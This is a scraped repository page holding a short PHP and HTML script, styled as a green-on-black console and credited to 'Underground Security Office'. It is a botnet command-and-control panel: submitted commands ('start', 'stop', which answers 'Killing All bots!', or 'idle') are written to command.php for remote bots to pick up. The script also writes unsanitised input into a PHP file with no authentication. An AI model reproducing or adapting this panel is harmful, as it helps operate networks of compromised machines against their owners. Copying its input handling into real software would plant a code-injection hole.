-
Notifications
You must be signed in to change notification settings - Fork 0
/
php code
86 lines (83 loc) · 2.2 KB
/
php code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<head>
<style>
.box {
width:400px;
margin-left: auto;
margin-right: auto;
background-color: #000;
color: green;
border: 5px solid #c4cde0;
-webkit-border-radius: 10px;
height: 200px;
}
.input {
border: 1px solid green;
background-color: #000;
width:340px;
color: green;
}
.btn {
border: 1px solid green;
background-color: #000;
width:50px;
color: green;
}
.cmd {
margin-left: auto;
margin-right: auto;
margin-top:10px;
border: 1px solid green;
background-color: #000;
width: 390px;
height:150px;
color: green;
max-height:150px;
font-family: Georgia;
}
</style>
</head>
<body bgcolor="#0404B4">
<div class="box">
<div class="cmd">
<?php
$command = $_POST['command'];
if($command != null) {
if($command == "stop") {
unlink('command.php');
$fh = fopen('command.php', 'a');
fwrite($fh, 'stop');
fclose($fh);
echo "Command Sent> ".$command."<br>
Response Given> Killing All bots!
";
}
else if(strstr($command,'start')) {
unlink('command.php');
$fh = fopen('command.php', 'a');
fwrite($fh, ''.$command.'');
fclose($fh);
echo "Command Sent> ".$command."<br>
Response Given> Running $command
";
}
else {
unlink('command.php');
$fh = fopen('command.php', 'a');
fwrite($fh, 'idle');
fclose($fh);
echo "Command Sent> ".$command."<br>
Response Given> Command Not Found
";
}
}
else {
echo "Please enter a command";
}
?>
</div>
<div>
<center><form action="" method="POST"><input type="text" class="input" name="command" id="cmd-text"><button class="btn" onClick="send()">Send</button></form></center>
</div>
</div>
Copyright (c) Underground Security Office
</body>